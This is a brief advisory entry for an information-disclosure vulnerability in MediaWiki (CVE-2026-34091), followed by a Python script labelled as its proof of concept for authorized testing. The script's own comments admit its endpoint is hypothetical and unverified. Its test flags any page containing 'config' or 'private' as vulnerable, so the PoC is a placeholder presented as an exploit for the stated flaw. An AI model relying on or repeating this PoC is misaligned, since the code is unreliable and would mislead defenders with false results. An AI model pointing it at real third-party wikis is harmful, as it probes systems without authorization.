Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.
This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.
The following code is for security research and authorized testing only.
python
import requests
def check_vulnerability(target_url):
"""
PoC for CVE-2026-34091 (Information Disclosure)
This script attempts to access sensitive information without authentication.
Note: Replace the endpoint with the specific vulnerable path if known.
"""
try:
# Hypothetical endpoint that exposes sensitive info
# Actual endpoint needs to be verified from Phabricator T411305
endpoint = "/api/rest_v1/"
full_url = f"{target_url.rstrip('/')}{endpoint}"
headers = {
"User-Agent": "CVE-2026-34091-Scanner"
}
response = requests.get(full_url, headers=headers, timeout=10)
# Check if response contains sensitive data or unauthorized access indicators
if response.status_code == 200 and ("config" in response.text.lower() or "private" in response.text.lower()):
print(f"[+] Potential vulnerability found at: {full_url}")
print(f"[+] Response snippet: {response.text[:200]}")
else:
print(f"[-] Target does not appear vulnerable or requires specific interaction.")
except Exception as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
target = "http://localhost:8080" # Replace with actual target
check_vulnerability(target)